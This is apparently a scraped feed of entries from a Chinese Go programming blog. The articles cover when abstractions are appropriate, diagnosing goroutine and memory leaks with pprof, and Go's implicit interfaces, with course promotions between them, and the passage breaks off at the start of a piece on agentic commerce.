Time) 中，深入探讨了人（此在）如何与世界互动。John Cinnamond 在演讲中引用的核心概念——“上手状态” (Ready-to-hand) 和 “在手状态” (Present-at-hand)，正是海德格尔用来描述我们与工具（如锤子）之间关系的术语。这套理论极好地解释了为什么优秀的工具（或代码抽象）应该是“透明”的，而糟糕的工具则会强行占据我们的注意力。\n我们都在使用的“必要”抽象 首先，让我们承认一个事实：编程本身就是建立在无数层抽象之上的。\n泛型：这是对类型的抽象。虽然 Go 曾长期拒绝它，但在技术上它是必要的，否则我们将充斥着重复代码。 接口：这是对行为的抽象。io.Reader 让我们不必关心数据来自文件还是网络。 函数：这是对指令序列的抽象。没有它，我们只能写长长的 main 函数。 汇编语言：这是对机器码的抽象。 所以，当我们说“避免不必要的抽象”时，我们真正想表达的其实是——避免“不恰当” (Inappropriate) 的抽象。\n那么，如何判断一个抽象是否“恰当”？\n何为抽象？—— 一场有目的的“细节隐藏” 在深入探讨“正确”的抽象之前，我们必须先回到最基本的定义。John Cinnamond 在演讲中给出了一个精炼而深刻的定义：\n“抽象是一种表示 (Representation)，但它是一种刻意移除被表示事物某些细节的表示。”\n让我们拆解这个定义：\n抽象是一种“表示”，而非事物本身 它不是代码的实体，而是代码的地图或模型。例如，一辆模型汽车是真实汽车的表示，但 Gopher 吉祥物是地鼠的抽象——它刻意省略了真实地鼠的所有细节，只保留了核心特征。\n抽象是“有目的的”细节移除 这与仅仅是“不精确”或“粗糙”不同。抽象是有意为之的，它不试图精确描绘所有方面，而是只关注某个特定维度。\n抽象在编程中具有动态性 * 不确定引用 (Indefinite Reference)：一个抽象（如 io.Reader）通常可以指代许多不同的具体实现。 * 开放引用 (Open Reference)：抽象的内容或它所指代的事物可以随着时间而改变。 为什么要刻意移除细节？John 总结了几个核心动机：\n避免重复代码：将重复的逻辑提取到抽象中。 统一不同的实现：允许以统一的方式处理本质上不同的数据结构（如所有实现了 Read 方法的类型）。 推迟细节：隐藏那些当下不重要、或开发者不关心的细节（例如，你坐火车参会，不需要知道每节车厢的编号）。 揭示领域概念：用抽象来更好地表达业务领域中的核心概念。 驾驭复杂性：这是最核心的理由——没有抽象，我们无法在大脑中一次性处理所有细节，也就无法解决复杂的问题。 但请记住，并非所有抽象都是一样的。John 将它们分为三类：\n基于“它是如何工作的” (How it works) 这是为了代码复用而提取的抽象。例如，你发现两处代码都在做“检查用户是否是管理员”的逻辑，于是将其提取为一个函数。这种抽象关注的是内部机制。 (这类抽象通常比较脆弱，一旦实现细节变化，抽象可能就会失效。)\n基于“它做了什么” (What it does) 这是 Go 语言中接口（Interface）最典型的用法。例如 io.Reader，我们不关心它是文件还是网络连接，我们只关心它能“读取字节”。这是一种行为抽象。\n基于“它是什么” (What it is) 这是基于领域模型的抽象。例如一个 User 结构体，它代表了系统中的一个实体。这种抽象关注的是本质属性。\n在现实中，好的抽象往往是这三者的混合体，但在设计时，明确你是在抽象“行为”还是“实现”，对于判断抽象的质量至关重要。\n理解了抽象的本质，我们可能会觉得：既然抽象能驾驭复杂性，那是不是越多越好？\n且慢。在急于评判一个抽象是否“恰当”之前，我们必须先意识到一个常被技术人员忽略的现实：抽象不仅存在于代码中，更存在于人与人的互动里。 这将我们引向了一个更现实的考量维度。\n抽象的代价 —— 代码是写给人看的 John 提醒我们，软件开发本质上是一项社会活动 (Social Activity)。\n“除非你是为了自己写着玩，否则你的代码总是写给别人看的。团队是一个微型社会，它有自己的习俗、信仰和‘传说’(Lore)。”\n引入一个新的抽象，本质上是在向这个微型社会引入一种新的文化或规则。这意味着：\n你需要支付“社会成本”：如果这个抽象与团队现有的习惯（Lore）相悖——比如在一个从未用过函数式编程的 Go 团队里强推 Monad——你将遭遇巨大的阻力。 团队的保守性：成熟的团队往往趋于保守，改变既定习惯需要巨大的能量。你不能仅仅因为一个抽象在理论上很美就引入它，你必须证明它的收益足以覆盖它带来的社会摩擦成本。 认知负担是共享的：一个抽象对你来说可能很清晰，但如果它让队友感到困惑，那就是在消耗团队的整体智力资源。 因此，当我们评判一个抽象是否“恰当”时，不能只看代码本身，还必须看它是否**“合群”**。这正是我们接下来要引入海德格尔哲学的现实基础。\n锤子哲学 —— “上手状态” vs. “在手状态” John 引用了海德格尔在《存在与时间》中的一个著名概念：Ready-to-hand (上手状态) 与 Present-at-hand (在手状态)。\n上手状态 (Ready-to-hand)：当你熟练使用一把锤子钉钉子时，你的注意力完全在钉钉子这件事上，锤子本身在你意识中是“透明”的。你感觉不到它的存在，它只是你身体的延伸。 在手状态 (Present-at-hand)：当锤子突然坏了（比如锤头掉了），或者你拿到一把设计奇特的陌生工具时，你的注意力被迫从“钉钉子”转移到了“锤子”本身。你开始审视它的构造、重量和用法。 这对代码意味着什么？\n好的抽象是“上手状态”的：比如 for 循环。作为经验丰富的开发者，你使用它时是在思考“我要遍历数据”，而不是“这个循环语法是怎么编译的”。它透明、顺手，让你专注于解决问题。 坏的抽象是“在手状态”的：比如一个复杂的、过度设计的 ORM 或者一个晦涩的 Monad 库。当你使用它时，你的思维被迫中断，你需要停下来思考：“这个函数到底在干什么？这个参数是什么意思？” 如果一个抽象让你频繁地从“解决业务问题”中抽离出来去思考“工具本身”，那么它很可能是一个坏的抽象。\n注：通过学习和实践，在手状态 (Present-at-hand)的抽象可以转换为 上手状态 (Ready-to-hand)的抽象。\n真理的检验 —— “本质真理” vs. “巧合真理” 接着，John 又搬出了康德关于真理的分类，引导我们思考抽象的持久性。\n分析真理 (Analytic Truth)：由定义决定的真理。比如“所有单身汉都没结婚”。在代码中，这就像 unnecessary abstractions are unnecessary，虽然正确但没啥用。 综合真理 (Synthetic Truth)：由外部事实决定的真理。比如“外面在下雨”。它的真假取决于环境，随时可能变。 本质真理 (Essential Truth)：虽然不是由定义决定，但反映了世界的本质规律。比如“物质由原子构成”。 这对抽象意味着什么？\n当你提取一个抽象时，问问自己：它代表的是代码的“本质真理”，还是仅仅是一个“巧合”？\n举个例子：你有一段过滤商品的代码，可以按“价格”过滤，也可以按“库存”过滤。你提取了一个 Filter(Product) bool 的抽象。\n如果未来所有的过滤需求（如颜色、大小）都能用这个签名解决，那么你发现了一个本质真理。这个抽象是稳固的。 但如果突然来了一个需求：“过滤掉重复的商品”，这个需求需要知道所有商品的状态，而不仅仅是单个商品。原本的 Filter(Product) bool 签名瞬间失效。 如果你提取的抽象仅仅是因为几段代码“长得像”（巧合），而不是因为它们“本质上是一回事”，那么当需求变更时，这个抽象就会崩塌，变成一种负担。\n由此可见，好的抽象不是被创造出来的，而是被发现（Recognized）出来的。它们是对代码中某种本质结构的捕捉。\n实战指南 —— 如何引入抽象？ 最后，John 给出了一个评估抽象是否“恰当”的五步清单：\n明确收益 (Benefit)：你到底是为了解决重复、隐藏细节，还是仅仅因为觉得它“很酷”？ 考虑社会成本 (Social Cost)：编程是社会活动。这个抽象符合团队的习惯吗？引入它是否需要消耗大量的团队认知成本？（比如在 Go 里强推 Monad等函数式编程的范式）。 是否处于“上手状态” (Ready-to-hand)：它能融入开发者的直觉吗？还是会成为注意力的绊脚石？ 是否本质 (Essential)：它是否捕捉到了问题的核心结构，能经得起未来的变化？ 是否涌现 (Emergent)：它是你从现有代码中“识别”出来的模式，还是你强加给代码的枷锁？ 小结：保持怀疑，但别放弃好奇 Go 社区的“避免不必要的抽象”文化，本质上是对认知负担的防御。我们见过太多为了抽象而抽象的烂代码。但 John 提醒我们，不要因此走向另一个极端——恐惧抽象。\n正确且必要的抽象是强大的武器，它能让我们驾驭巨大的复杂性。只要我们能像海德格尔审视锤子那样审视我们的代码，区分“上手”与“在手”，区分“本质”与“巧合”，我们就能在 Go 的简约哲学中，找到属于自己的那条“正确”道路。\n资料链接：https://www.youtube.com/watch?v=oP_-eHZSaqc\n你的“锤子”顺手吗？\n用海德格尔的视角审视代码，确实别有一番风味。**在你现在的项目中，有哪些抽象是让你感觉“如臂使指”的（上手状态）？又有哪些抽象经常让你\n“出戏”，迫使你不得不去研究它内部的构造（在手状态）？**\n欢迎在评论区分享你的“哲学思考”！ 让我们一起寻找那个最本质的代码真理。\n如果这篇文章带给你一次思维的“脑暴”，别忘了点个【赞】和【在看】，并转发给那些喜欢深究技术的伙伴！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction\"\u003ehttps://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e“Go 的哲学强调避免不必要的抽象。”\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-community-the-right-kind-of-abstraction-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这句话我们听过无数次。当你试图引入 ORM、泛型 Map/Reduce 、接口或者复杂的设计模式时，往往会收到这样的反馈。这句话本身没有错，但难点在于：\u003cstrong\u003e到底什么是“不必要”的？\u003c/strong\u003e\u003c/p\u003e","title":"为什么 Go 社区强调避免不必要的抽象？—— 借用海德格尔哲学寻找“正确”的答案"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/15/where-did-the-memory-go-gopher-unanswered-question\n大家好，我是Tony Bai。\n“我的服务内存又在缓慢增长了，pprof 显示不出明显的泄漏点……内存到底去哪儿了？”\n这句午夜梦回的拷问，或许是许多 Go 开发者心中最深的恐惧。\n这一切的根源，可能始于一个你自以为早已掌握的基础问题：“Go 的状态 (state) 存在哪里？” Go 开发者 Abhishek Singh之前断言：“我保证，一大半的 Go 开发者都无法清晰地回答这个问题。”\n你的答案是什么？“在 goroutine 里”？“在栈上”？“由 Go runtime 管理”？\n如果你的脑中闪过的是这些模糊的念头，那么你可能就找到了“内存失踪案”的“第一案发现场”。这个看似不起眼的认知模糊，正是导致无数生产环境中“内存缓慢泄露”、“goroutine 永不消亡”、“随机延迟飙升”等“灵异事件”的根源。\n本文，将为你揭示这个问题的精确答案，并以此为起点，修复你关于 Go 内存管理的“心智模型”，让你从此能够清晰地回答：“内存，到底去哪儿了？”\n揭晓答案与核心心智模型 首先，那个简单而重要的正确答案是：\nGo 的状态，就是由 Go runtime 管理的内存，它要么在栈 (stack) 上，要么在堆 (heap) 上。\n然而，知道这个答案只是第一步。真正关键的，是摒弃那个导致所有问题的错误直觉，转而建立如下正确的核心心智模型：\nGoroutine 不拥有内存，引用 (References) 才拥有。\n一个 Goroutine 的退出，并不会释放内存。\n当一个 goroutine 结束时，它仅仅是停止了执行。它所创建或引用的任何内存，只要仍然被其他东西持有着引用，就永远不会被垃圾回收器 (GC) 回收。\n这些“其他东西”，就是你程序中的**“内存锚点”**，它们包括：\n一个全局变量 一个 channel 一个闭包 一个 map 一个被互斥锁保护的结构体 一个未被取消的 context 这，就是几乎所有“Go 内存泄漏”的根本原因。 “内存去哪儿了？”——它被这些看不见的“锚点”，牢牢地拴在了堆上。\n三大“内存锚点”——Goroutine 泄漏的元凶 Abhishek 将那些导致内存无法被回收的“引用持有者”，形象地称为“内存锚点”。其中，最常见、也最隐蔽的有三种。\n“永生”的 Goroutine：被遗忘的循环 创建 goroutine 很廉价，但泄漏它们却极其昂贵。一个典型的“生命周期 Bug”：\n// 经典错误：启动一个运行无限循环的 goroutine go func() { for { work() // 假设 work() 会引用一些数据 } }() 这个 goroutine 永远不会退出。它会永久地持有 work() 函数所引用的任何数据，阻止 GC 回收它们。如果你在每个 HTTP 请求中都启动一个这样的“即发即忘”(fire-and-forget) 的 goroutine，你的服务内存将会线性增长，直至崩溃。\n这不是内存泄漏，是你设计了一个“不朽的工作负载”。\nChannel：不止传递数据，更持有引用 Channel 不仅仅是数据的搬运工，它们更是强力的引用持有者。\nch := make(chan *BigStruct) go func() { // 这个 goroutine 阻塞在这里，等待向 channel 发送数据 ch \u0026lt;- \u0026amp;BigStruct{...} }() // 如果没有其他 goroutine 从 ch 中接收数据... 那么：\n那个 \u0026amp;BigStruct{…} 将永久地被 ch 持有。 那个发送数据的 goroutine 将永久地阻塞。 GC 永远无法回收 BigStruct 和这个 goroutine 的栈。 这告诉我们：无缓冲或未被消费的 Channel，是缓慢的死亡。 它们会像“锚”一样，将数据和 goroutine 牢牢地钉在内存中。\ncontext：被忽视的生命周期边界 context 包是 Go 中定义生命周期边界的“标准语言”。然而，一个常见的错误是，启动一个 goroutine 时，向其传递了一个永远不会被取消的 context。\n错误模式：\n// 传递一个 background context，等于没有传递任何“停止信号” go doWork(context.Background()) 这个 doWork goroutine，一旦启动，就没有任何机制可以通知它停止。如果它内部是一个 for-select 循环，它就会永远运行下去。\n正确的模式：\n// 从父 context 创建一个可取消的 context ctx, cancel := context.WithCancel(parentCtx) // 确保在函数退出时，无论如何都会调用 cancel defer cancel() go doWork(ctx) 没有 cancel，就没有清理 (No cancel -\u0026gt; no cleanup)。context 不会“魔法般地”自己取消。\n“不是 Bug，是生命周期”——如何诊断与思考 Abhishek 强调，我们习惯于称之为“泄漏”的许多问题，实际上并非 Go 语言的 Bug，而是我们自己设计的**“生命周期 Bug”**。\n诊断“三板斧” pprof (无可争议)：这是你的第一、也是最重要的工具。通过 import _ “net/http/pprof” 引入它，并重点关注： * 堆内存增长 (heap profile) * 内存分配热点 (allocs profile) * goroutine 数量随时间的变化 Goroutine Dumps: 通过 curl http://localhost:6060/debug/pprof/goroutine?debug=2 获取所有 goroutine 的详细堆栈信息。如果 goroutine 的数量只增不减，你就找到了泄漏的“犯罪现场”。\n灵魂三问 (The Ownership Question)：在审查任何一段持有状态的代码时，问自己三个问题：\n* 谁拥有这段内存？(Who owns this memory?) * 它应该在什么时候消亡？(When should it die?) * 是什么引用，让它得以存活？(What reference keeps it alive?) 那些我们不愿承认的“泄漏” 即发即忘的 goroutine 没有消费者的 channel 永不取消的 context 用作缓存却没有淘汰策略的 map 捕获了巨大对象的闭包 为每个请求启动的、永不退出的后台 worker 真正的教训 —— Go 奖励那些思考“责任”的工程师 Go 并没有隐藏内存，它暴露了责任。\nGC 无法修复糟糕的所有权设计。\n这是本篇最核心、也最深刻的结论。Go 的垃圾回收器，为你解决了“何时 free”的机械问题，但它将一个更高级、也更重要的责任，交还给了你——设计清晰的“所有权”和“生命周期”。\nGoroutine 不会自动清理自己，Channel 不会自动排空自己，Context 不会自动取消自己。这些都不是语言的缺陷，而是其设计哲学的体现。\nGo 奖励那些能够思考以下问题的工程师：\n生命周期 (Lifetimes)：这个 goroutine 应该在什么时候开始，什么时候结束？ 所有权 (Ownership)：这份数据由谁创建，由谁负责，最终应该由谁来释放对其的最后一个引用？ 反压 (Backpressure)：当消费者处理不过来时，生产者是否应该被阻塞？我的 channel 是否应该有界？ 你不需要成为一名 Go 运行时专家，你只需要开始用“生命周期”的视角，去设计你的并发程序，并偶尔用 pprof 来验证你的设计。\n这，就是修复 Go 内存问题“心智模型”的终极之道。\n资料链接：https://x.com/0xlelouch_/status/2000485400884785320\n你的“捉鬼”经历\n内存泄漏就像幽灵，看不见摸不着却真实存在。在你的 Go 开发生涯中，是否也曾遇到过让你抓狂的内存泄漏或 Goroutine 暴涨？最终你是如何定位并解决的？\n欢迎在评论区分享你的“捉鬼”故事和独门排查技巧！ 让我们一起守护服务的稳定性。\n如果这篇文章帮你修复了关于内存的心智模型，别忘了点个【赞】和【在看】，并转发给你的团队，让大家一起避坑！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/15/where-did-the-memory-go-gopher-unanswered-question/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/where-did-the-memory-go-gopher-unanswered-question-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/15/where-did-the-memory-go-gopher-unanswered-question\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/15/where-did-the-memory-go-gopher-unanswered-question\"\u003ehttps://tonybai.com/2026/01/15/where-did-the-memory-go-gopher-unanswered-question\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我的服务内存又在缓慢增长了，pprof 显示不出明显的泄漏点……\u003cstrong\u003e内存到底去哪儿了？\u003c/strong\u003e”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这句午夜梦回的拷问，或许是许多 Go 开发者心中最深的恐惧。\u003c/p\u003e","title":"内存去哪儿了？一个让大多数 Gopher 都无法清晰回答的问题"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/14/go-explicit-philosophy-implicit-interfaces-design-wisdom\n大家好，我是Tony Bai。\n“Go 倾向于显式、冗长的代码，而不是‘魔法’。那么，为什么接口实现却是隐式的呢？这让理解代码变得困难多了，简直让我抓狂。”\n前不久，一位 Gopher 在 Reddit 上发出了这样的灵魂拷问。这不仅仅是一个新手的问题，它触及了 Go 语言设计中最有趣、也最常被误解的一个矛盾：在一个崇尚“显式”的语言里，为什么最核心的抽象机制（接口）却选择了极致的“隐式”？\n相比于 Java 的 implements 或 Rust 的 impl for，Go 的这种“只要方法匹配，就自动实现”的 Duck Typing 风格，确实显得格格不入。\n是 Go 的设计者们“双标”了吗？还是这背后隐藏着某种更深层的、我们尚未完全领悟的智慧？本文将带你深入 Go 的设计哲学，揭开这个“反直觉”设计背后的真相。\n显式实现的“原罪”——被倒置的依赖 要理解 Go 为何选择隐式，我们首先要看看“显式实现”带来了什么问题。在 Java 或 C# 中，如果你想让你的类实现一个接口，你必须在定义类的时候就显式声明：\n// Java public class MyReaderImpl implements MyReaderIntf { ... } 这看起来很清晰，但它引入了一个致命的耦合：生产者（具体类型）必须知道消费者（接口）的存在。\n这意味着：\n你无法为第三方类型实现接口：如果你使用了一个第三方库的结构体，而你想让它实现你自己定义的接口，你做不到。因为你无法修改第三方库的源码去加上 implements MyInterface。 “上帝接口”的诞生：为了规避第1点，库的设计者倾向于预定义庞大的、包罗万象的接口（如 IUser），强迫所有实现者都去依赖这个庞大的契约。这导致了接口定义的早产和不必要的依赖。 Go 的设计者们敏锐地捕捉到了这一点。他们认为，接口应当由消费者（Consumer）定义，而不是生产者（Producer）。\n解耦的艺术——消费者定义的接口 Go 的隐式接口，彻底反转了这种依赖关系。\n在 Go 中，具体的类型（如struct）不需要知道接口的存在。它只需要专注地实现它该有的方法。而接口的定义，可以发生在任何时间、任何地点，通常是在**使用方（调用者）**的代码中。\n正如 Reddit 上高赞评论所言：\n“Define interfaces at the receiving end.”（在接收端定义接口）\n这带来了前所未有的灵活性：\n事后抽象：你可以先写具体的实现代码。等到某一天，你发现需要对这部分逻辑进行抽象或测试时，你可以在调用方就地定义一个接口，而无需修改原有的具体类型代码。 小接口哲学：因为接口是消费者按需定义的，所以 Go 鼓励定义极小的接口（如 io.Reader 只有一个方法）。如果必须显式声明，开发者会倾向于定义大接口以减少声明的繁琐，而隐式接口则让 interface{ Read(…) } 这种微型契约变得轻量且自然。 这就是隐式的代价换来的价值：彻底的解耦。 它打破了“实现”与“抽象”之间的强绑定，让代码的演进变得更加自由。\n测试与 Mock 的天堂：只 Mock 你关心的 在 Java 或 C# 这样的显式接口语言中，如果你要测试一个依赖了 Database 类的函数，你通常面临两个选择：\n引入 Database 所在的庞大包。 为了测试，不得不为 Database 定义一个包含其 所有 方法的 IDatabase 接口，哪怕你只用了其中一个 Query 方法。这被称为“接口污染”。 而在 Go 中，隐式接口允许我们在“测试现场”定义接口。这被称为**“最小化 Mock”**。\n假设有这样一个场景：我们需要编写一个 WeatherReporter（天气播报员），它依赖一个庞大的第三方天气 SDK 来获取数据。\n第三方库代码（我们无法修改，且很庞大）：\n// thirdparty/weather.go type HeavyWeatherClient struct { ... } // 包含几百个方法 func (c *HeavyWeatherClient) GetTemp(city string) float64 { ... } // 我们只用这一个 func (c *HeavyWeatherClient) GetHumidity() float64 { ... } func (c *HeavyWeatherClient) GetWindSpeed() float64 { ... } // ... 还有几百个其他方法 ... 我们的业务代码：\n// reporter.go // 注意：这里我们直接接受具体的 HeavyWeatherClient，或者任何实现了 GetTemp 的东西 func ReportTemperature(client interface{ GetTemp(string) float64 }, city string) { temp := client.GetTemp(city) if temp \u0026gt; 30 { fmt.Println(\u0026#34;It\u0026#39;s hot!\u0026#34;) } } 我们的测试代码（Test 文件）：\n在测试中，我们完全不需要引入那个庞大的 thirdparty 包，也不需要 mock 那几百个无关的方法。我们只需要在测试文件里定义一个极小的接口：\n// reporter_test.go // 1. 定义一个只包含我们所用方法的“本地接口” // 甚至都不需要给它起名字，匿名接口也可以 type mockFetcher struct{} func (m *mockFetcher) GetTemp(city string) float64 { return 35.0 // 返回一个假数据 } func TestReportTemperature(t *testing.T) { mock := \u0026amp;mockFetcher{} // 2. Go 的隐式特性发挥作用： // mockFetcher 并没有显式声明实现了任何接口， // 但它拥有 GetTemp 方法，所以它可以被传入 ReportTemperature！ ReportTemperature(mock, \u0026#34;Beijing\u0026#34;) // 验证逻辑... } 注：关于 Mock 与 Stub 的严谨区分\n细心的读者可能发现，严格来说，上例中的 mockFetcher 更像是一个 Stub (桩)——它只返回固定数据，不验证调用行为。但在 Go 社区的工程实践中，我们习惯将这类用于替换真实依赖的测试替身统称为 Mock。为了方便理解，本文沿用了这一通俗叫法。\n这就是“天堂”的含义：你可以忽略对象 99% 的复杂性，只为你关心的那 1% 编写 Mock。这种按需定义 (Ad-hoc) 的能力，让 Go 的单元测试变得极其轻量和纯粹，彻底摆脱了对重型 Mock 框架的依赖。\n警惕：不要为了测试而“预定义”接口\n这里有一个新手常犯的错误：为了方便测试，在生产代码中为每一个 Struct 都配对写一个 Interface（例如 type UserServiceImpl struct 和 type UserService interface）。\n这是一个反模式（Anti-pattern）。 Go 的哲学之一是不要在生产者（Producer）端定义接口，要在消费者（Consumer）端定义接口。如果你在生产代码中定义了一个只被自己实现的接口，你只是在增加代码的复杂度和阅读成本，而没有带来任何解耦的实际价值。\n正确的做法：\n如果 UserService 是你自己写的，且逻辑简单（纯逻辑，无 I/O），直接测试 Struct 本身即可，不需要接口。 如果 UserService 确实包含数据库操作，需要被 Mock，那么请在调用它的人那里（或者在测试文件里）定义接口，而不是在 UserService 旁边定义一个“没用”的接口。 记住：接口通过解耦来促进测试，但不要为了测试而强行制造接口。\n如何应对“隐式”带来的困扰？ 当然，提问者的困惑是真实的：“我怎么知道这个结构体实现了哪些接口？”\n这种“不可知性”确实是隐式接口的副作用。但在 Go 的工程实践中，我们有成熟的应对方案：\nIDE 的力量：现代 IDE（如 GoLand, VS Code，甚至是安装了插件的Vim等）已经完美解决了这个问题。简单的“Find Usages”或“Go to Implementations”就能列出所有匹配的接口。工具弥补了人类肉眼的局限。 编译期断言：如果你是库的作者，你需要向用户保证你的类型（比如*MyStruct）实现了某个标准接口（例如 io.Writer），为了防止未来修改代码时不小心破坏了这个契约，你可以使用这行经典的“黑魔法”代码： // 这是一道“编译期防线” var _ io.Writer = (*MyStruct)(nil) 细心的读者可能会发现，这行代码强制 MyStruct 所在的文件 import 了 io 包。没错，这确实引入了依赖。\n但与 Java 强制性的 implements 不同，Go 的这种耦合是可选的、防御性的。\n它不是程序运行的必要条件，而是一个写在源码里的“编译期测试用例”。 它通常只用于向标准库或核心框架的稳定接口看齐。对于业务层那些灵活的、消费者定义的接口，我们通常不需要写这行代码，从而保持代码的纯净与解耦。 小结：显式的代码，隐式的契约 回到最初的问题：Go 违背了“显式”的哲学吗？\n答案是：没有。Go 追求的是“行为”的显式，而非“类型分类”的显式。\nGo 让你显式地编写方法，显式地处理错误，显式地进行类型转换。但在“谁实现了谁”这种元数据层面，Go 选择了隐式，因为它认为**“鸭子类型” (If it walks like a duck…)** 才是对软件组件交互最自然、最解耦的描述。\nGo 的隐式接口，不是为了省去敲 implements 这几个字母的懒惰，而是一场关于软件架构解耦的深谋远虑。它赋予了 Go 语言一种独特的**“结构化动态性”**——既有静态语言的安全，又有动态语言的灵活。这，正是 Go 设计哲学的精妙所在。\n资料链接：https://www.reddit.com/r/golang/comments/1pa6t2m/go_prefers_explicit_verbose_code_over_magic_so\n你的接口设计习惯\nGo 的隐式接口虽然灵活，但也给了开发者极大的自由度。在你的项目中，你是习惯先定义接口再写实现（顶层设计），还是先写实现再按需提取接口（事后抽象）？你是否也曾陷入过“接口定义泛滥”的陷阱？\n欢迎在评论区分享你的设计心得或踩坑故事！ 让我们一起探讨如何用好这把“双刃剑”。\n如果这篇文章解开了你对 Go 接口的困惑，别忘了点个【赞】和【在看】，并转发给你的开发伙伴，一起感受 Go 的设计之美！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/14/go-explicit-philosophy-implicit-interfaces-design-wisdom/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-explicit-philosophy-implicit-interfaces-design-wisdom-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/14/go-explicit-philosophy-implicit-interfaces-design-wisdom\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/14/go-explicit-philosophy-implicit-interfaces-design-wisdom\"\u003ehttps://tonybai.com/2026/01/14/go-explicit-philosophy-implicit-interfaces-design-wisdom\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“Go 倾向于显式、冗长的代码，而不是‘魔法’。那么，为什么接口实现却是\u003cstrong\u003e隐式\u003c/strong\u003e的呢？这让理解代码变得困难多了，简直让我抓狂。”\u003c/p\u003e","title":"Go 的“显式哲学”为何在接口上“食言”了？—— 探秘隐式接口背后的设计智慧"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/14/google-ucp-agentic-commerce-architecture-revolution\n大家好，我是Tony Bai。\n想象一下，未来的某一天，你们公司的电商网站流量突然暴涨了 1000 倍。\n但奇怪的是，后台数据显示 PageView（页面浏览量）几乎为零，热力图一片空白，也没有任何用户在点击你的促销弹窗。\n这并不是遭受了 DDoS 攻击，而是你迎来了第一批**“机器顾客”**。\n我们正在从“人机交互”的电商时代，跨入**“Agentic 